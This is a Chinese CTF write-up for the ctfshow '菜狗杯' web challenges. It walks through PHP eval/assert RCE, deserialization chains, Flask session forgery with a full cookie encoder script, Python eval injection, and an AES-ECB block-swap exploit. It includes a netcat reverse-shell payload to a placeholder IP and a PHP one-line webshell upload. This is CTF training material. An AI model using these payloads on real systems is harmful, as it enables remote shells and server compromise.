web签到
<?php
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
先让一个cookie=a之后post接受一个a的参数再让post的值等于b之后get接受的参数就是b再往后的话get接受的参数为cREQUEST的就为c
就比如
比如b=cookie[a],所以post[b]然后令post等于c所以get[c],令get=d所以request[d]最后补上前面的数字就是request[d],最后执行的就是eval(d[6][0][7][5][8][0][9][4][4]);
直接rce即可
web2 c0me_t0_s1gn
查看源码
有半个flag,还有提示控制台,运行一下就可以
我的眼里只有$
<?php
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
一个extract函数的变量覆盖
刚开始以为可以一个$后面的东西为一个参数比如eval($aaaaaaaaaaaa)中的aaaaaaaaaaaa为一个参数但是不行,也不知道为什么只能一个一个覆盖,比如eval($$a);就要a=b&b=system('ls');例:
这里有36个$就可以一个一个覆盖
$str="_=__";
$res="";
echo "_=__&";
for ($i=0; $i < 34; $i++) {
$str="_".$str."_";
echo $str."&";
if($i==33){
echo explode("=", $str)[1]."=eval(\$_GET[1]);";
}
}
这个就是一个第一个变量是一个_第二个是两个__依次往下加的之后命令执行即可
抽老婆
点开抽老婆看源码
发现了file参数可以下载文件,尝试读取flag
{
"msg": "\u4f60\u60f3\u5e72\u4ec0\u4e48\uff1f"
}
之后让他报错的话发现是python 的flask
发现过滤的flag,在报错界面发现app.py尝试读取
file=../../app.py得到源码
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/11/07 09:16
# Author :g4_simon
# version :python 3.9.7
# Description:抽老婆,哇偶~
"""
from flask import *
import os
import random
from flag import flag
#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/getwifi', methods=['GET'])
def getwifi():
session['isadmin']=False
wifi=random.choice(os.listdir('static/img'))
session['current_wifi']=wifi
return render_template('getwifi.html',wifi=wifi)
@app.route('/download', methods=['GET'])
def source():
filename=request.args.get('file')
if 'flag' in filename:
return jsonify({"msg":"你想干什么?"})
else:
return send_file('static/img/'+filename,as_attachment=True)
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=True)
从这里我们看到了关键信息/secret_path_U_never_know
和app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
我们要的flag应该就在/secret_path_U_never_know路径中但在源码中看到如果我们直接去访问这个路径的话会return
身份验证的话我们去找一下session
尝试jwt解码一下
发现这个为false猜测的话改为true就可以了,改session的话我们需要key,而源码中提到了app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'其中tanji_is_A_boy_Yooooooooooooooooooooo!就是key
处理session的脚本
mirrors / noraj / flask-session-cookie-manager · GitCode
但这个加密的时候总是报错,就换了一个解密脚本
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
加密脚本
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
用这个脚本解密之后再用github的脚本加密
python3 decode.py eyJjdXJyZW50X3dpZmkiOiI1MTgyY2QwZGE5ZWVjZDAzOWE1NDYwOTMxNDNiMmJmMS5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3EMMA.9NXDb0IgOl4DjBIGDyRZe817jF8
{'current_wifi': '5182cd0da9eecd039a546093143b2bf1.jpg', 'isadmin': False}
python3 flask_session_cookie_manager3.py encode -s "tanji_is_A_boy_Yooooooooooooooooooooo!" -t "{'current_wifi': '5182cd0da9eecd039a546093143b2bf1.jpg', 'isadmin': True}"
eyJjdXJyZW50X3dpZmkiOiI1MTgyY2QwZGE5ZWVjZDAzOWE1NDYwOTMxNDNiMmJmMS5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3EP0g.Op7cFx6rEjOoyz_I6nGYCBvrtuE
之后在bp里把路径和session改了发包即可
一言既出
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
payload:?num=114514%2b1805296 //%2b是+url编码后的
这个是取的两个数的差第一个if语句会取加号前面的,第二个if语句经过intval函数后会相加正好等于1919810就成功绕过了,
官方wp
简单来说就是如何利用断言,可以想办法构造一个为真的值绕过assert 或者直接利用assert达到rce。
payload:?num=114514)==1 or system('ls');#
传入之后就成了
assert("intval(114514)==1 or system('ls');#==1919810") or die("一言既出,驷马难追!");
前面的intval(114514)==1成立就会执行后面的system('ls');而#是注释掉后面的东西,所以最终执行的之后system('ls');从而达到rce的效果
第二个payload
?num=114514);(19199810
传入之后就成了
assert("intval(114514);(19199810)==1919810") or die("一言既出,驷马难追!");
很容易就看到用(把前面的)给闭合了执行19199810)==1919810"就成功绕过输出flag
驷马难追
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
就增加了几个过滤但加减的payload还可以用
payload:?num=114514%2b1805296 //%2b是+url编码后的
TapTapTap
游戏题,查看源码,大部分游戏题都藏在js中
在/js/habibiScript.js找到
base64
访问路径即可
Webshell
<?php
error_reporting(0);
class Webshell {
public $cmd = 'echo "Hello World!"';
public function __construct() {
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
}
else {
highlight_file(__FILE__);
}
?>
一个简单的反序列化利用点在init()中的$this->exec($this->cmd);
从__construct
进去之后就可以到init函数了直接构造,过滤了flag可以用fla*来代替
<?php
class Webshell {
public $cmd = 'cat fla*';
}
$a = new Webshell();
echo serialize($a);
?>
查看源码即可
化零为整
<?php
highlight_file(__FILE__);
include "flag.php";
$result='';
for ($i=1;$i<=count($_GET);$i++){
if (strlen($_GET[$i])>1){
die("你太长了!!");
}
else{
$result=$result.$_GET[$i];
}
}
if ($result ==="大牛"){
echo $flag;
}
根据源码可知,需要传入长度为1的字符,拼起来形成“大牛”,这里可以通过对“大牛”进行urlencode然后单个传入。
payload:?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
因为三个%E5是一个字符不能一个一个的要三个一组
无一幸免
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die($flag);
}
else{
die("nonono!");
}
}
当时直接?0=
就出了
简单的使用数组整型溢出绕过赋值式“永真”判断:
官方pyload:?0=214748364
传说之下(雾)
将这个改为2077,再将整个类复制到控制台运行
算力超群
# -*- coding: utf-8 -*-
# @Time : 2022/11/2
# @Author : 探姬
# @Forkfrom:https://github.com/helloflask/calculator
import re
from flask import Flask, jsonify, render_template, request
app = Flask(__name__)
@app.route('/_calculate')
def calculate():
a = request.args.get('number1', '0')
operator = request.args.get('operator', '+')
b = request.args.get('number2', '0')
m = re.match(r'^\-?\d*[.]?\d*$', a)
n = re.match(r'^\-?\d*[.]?\d*$', a)
if m is None or n is None or operator not in '+-*/':
return jsonify(result='Error!')
if operator == '/':
result = eval(a + operator + str(float(b)))
else:
result = eval(a + operator + b)
return jsonify(result=result)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/hint')
def hint():
return render_template('hint.html')
if __name__ == '__main__':
app.run()
m = re.match(r'^\-?\d*[.]?\d*$', a)
n = re.match(r'^\-?\d*[.]?\d*$', a)
因为没学到Python的沙箱逃逸所以先直接贴官方的wp以后再研究
粗心的复制粘贴导致最后一个变量没有任何校验,所以直接使用b进行执行。
先拿报错骗出路径,因为没有回显,所以我们将结果写入可见的路由部分就好了。
#g4的payload
payload:?number2=1,__import__('os').system('nc xxx.xxx.xxx.xxx 1234 -e sh')
或者其他无回显的payload
通过写文件回显
http://3e78d540-4b06-4e2c-bb56-360efc381c5a.challenge.ctf.show/_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('cat /flag >/app/templates/hint.html')
算力升级
,没学到还是贴官网wp后期再研究
本质上是一个pyjail的题,如何绕过执行的限制。可以看到源码对于输入的限制是两个正则,要求要么是数字,要么是dir(gmpy2)中的内容。我们可以在自己的环境中试一下,发现gmpy2.builtins是含有eval的,思路就是使用eval和dir(gmpy2)中的内容拼接字符串,payload生成脚本如下:
s="__import__('os').popen('cat /flag').read()"
import gmpy2
payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("
for i in s:
if i not in "/'(). ":
temp_index=0
temp_string='x'*20
for j in dir(gmpy2):
if j.find(i)>=0:
if len(j)<len(temp_string):
temp_string=j
temp_index=j.find(i)
payload+=f'\'{temp_string}\'[{temp_index}]+'
else:
payload+=f'\"{i}\"+'
payload=payload[:-1]+')'
print(payload)
easyPytHon_P
源码
from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
try:
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
print('Done!')
except subprocess.TimeoutExpired:
print('Timeout!')
except:
print('Error!')
else:
print('No Flag!')
post传参可以直接命令执行
遍地飘零
源码
<?php
include "flag.php";
highlight_file(__FILE__);
$zeros="000000000000000000000000000000";
foreach($_GET as $key => $value){
$$key=$$value;
}
if ($flag=="000000000000000000000000000000"){
echo "好多零";
}else{
echo "没有零,仔细看看输入有什么问题吧";
var_dump($_GET);
}
刚开始猜要绕if语句没想到没用直接利用变量覆盖get=flag即可
payload:?_GET=flag
茶歇区
当时这个没仔细看,没想到在抓包里面有整数溢出,只是一个php整数溢出抓包就可以看见
a=152000&b=0&c=0&d=0&e=922337203685477580&submit=%E5%8D%B7%E4%BA%86%E5%B0%B1%E8%B7%91%EF%BC%81
提交两次即可
小甜甜
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}
if (isset($_GET['code'])){
unserialize($_GET['code']);
}else{
$a=new Ion_Fan_Princess();
echo $a;
}
一个简单的反序列化目的是为了把nickname改为小甜甜,而nickname在call方法里,__toString()可以触发call(),而wakeup()中的echo正好可以触发toString()
<?php
class Moon{
public $name;
}
class Ion_Fan_Princess{
public $nickname;
}
$a=new Moon();
$a->name=new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo serialize($a);
LSB探姬
源码
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
try:
f = request.files['file']
f.save('upload/'+f.filename)
cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()
data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
return jsonify(data)
except:
data={"code":1,"message":"file upload error!"}
return jsonify(data)
else:
return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():
return render_template('source.html')
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)
关键部分在这里
直接把执行代码拼接到了文件名的后面
Is_Not_Obfuscate
扫一下目录
发现了robots.txt,访问他
看到了/lib.php?flag=0再去到这个目录,发现没有东西,改成flag=1
一串密文 再根据注释,来解密密文
?action=test&input=eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI%2Fw3p1%2B%2FwX69euqzpVDJ2a%2FGkWO4z4QQpnTUq9P5fFd3Uu%2BYvM2ht%2BZXSvYiLXq0o8zaUZ%2FKSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K%2BWAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr%2BNHn6Jn3MYCnm%2Fz9GbI9TH0XZfPPoqqZRrKo48Gdz%2BodPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI%2BCLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg%2FEmgnR%2Bx6othXTZ2ZGQsEYvRa%2FU1LaK%2F4D7Op3ZKrKFnzAs01qSCbbf%2BP097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ%2BDU5vzz0%2BdoHA%2B3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw%2BF7BHMJPheaGD3faUo71nCiV6QWQu0VW%2FO2DvG%2Beubaq5t1a5Y3tYJmti6soht26kuF7jUUg%2BvZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9%2BkQvcSUbuwuEnWHYzn16%2FewTo%2BgVIqv0%2BDNJC0YUGs9kWnS2%2B1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ%2Fr2muD0WE4G5qRRQ8dnmkgxTVF7Zh61%2Fyvmis14AVf3UwjoHywgVs7MNevg%2FtCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY%2BMB7L5c4S%2B5arvpFKn%2FGN4KvCEWYZ%2Br7inzI%2Bng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E%2BfPm6bO7%2FjSe%2B2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp%2FSzwQLyo5N5HVZEVzMdqY7RiEqT6%2FFOLji7N%2F7E3c%2B8ZLOGGQcDJMM5FARuDOfYyh09%2BM%2BI1Hdc%2BbCze4S0TuOa3j7orHPzP%2FBLQQLKt6c4cLZ42QbgJwmpowDmVjo%2FR6dyCuJbWwKGS8BVtzxfh2YhYu%2Br1n7mrY7nPTxszI6w%2FTWAErJEBVZwXlj33RDqfi%2Bu45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP%2F9%2Bw8pT7oT
得到源码
<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
@mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
echo 'Anything is good?Please test it.';
@eval(decode($_GET['input']));
}
ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
switch ($_GET['action']){
case 'pull':
$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
echo "pull success";
break;
case 'push':
$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
echo "push success";
break;
default:
die('hacker!');
}
}
?>
在这里可以看到MD5的盐为youyou,然后再
经过case,要上传一句话木马,要push进第二个case,所以我们要get一个output一个一句话木马,然后MD5加密盐为youyou
?action=push&output=<?php eval($_POST[1]);phpinfo();?>
再本地计算md5值
<?php
echo md5('<?php eval($_POST[1]);phpinfo();?>'.'youyou');
上传木马
之后再用加密后的文件执行rce
龙珠NFT
类似web的密码题看不懂,直接上官方wp
根据源码可知,address是用AES的ECB模式加密的,稍微查一下就可以知道,ECB模式一组密文对应一组明文,也就是说,可以通过改变密文的顺序从而改变解密后明文的顺序。
根据源码可知,访问/find_dragonball时,已经把密文和明文都给出了,每一组长度都是16位,可以通过重组明文和密文进行观察。
import requests
import json
import base64
import random
url='http://xxxxxxxxxxxxxxxxxxxxxxxxx/'
s=requests.session()
username=str(random.randint(1,100000))
print(username)
r=s.get(url+'?username='+username)
responses=[]
for i in range(10):
r=s.get(url+'find_dragonball')
responses.append(json.loads(r.text))
for item in responses:
# data['address']= base64.b64encode(AES_ECB.aesencrypt(json.dumps(data))).decode()
data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})
miwen=base64.b64decode(item['address'])
for x in range(int(len(miwen)/16)):
print(f'{x*16}\t{data[x*16:x*16+16]}\t{miwen[x*16:x*16+16]}')
print('')
观察运行结果可得,明文一致的时候,密文也一致,跟AES_ECB的理论一致。
思路就是让明文从
变化为
文章来源:https://www.toymoban.com/news/detail-400075.html
exp脚本:文章来源地址https://www.toymoban.com/news/detail-400075.html
import requests
import json
import base64
import random
url='http://xxxxxxxxxxxxxxxxxxxxxx/'
s=requests.session()
username=str(random.randint(1,100000))
print(username)
r=s.get(url+'?username='+username)
responses=[]
for i in range(10):
r=s.get(url+'find_dragonball')
responses.append(json.loads(r.text))
for item in responses:
data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})
miwen=base64.b64decode(item['address'])
round_no=item['round_no']
if round_no in [str(i) for i in range(1,8)]:
fake_address=miwen[:64]+miwen[80:]
fake_address=base64.b64encode(fake_address).decode()
r=s.get(url+'get_dragonball',params={"address":fake_address})
r=s.get(url+'flag')
print(r.text)
到了这里,关于ctfshow菜狗杯webwp的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!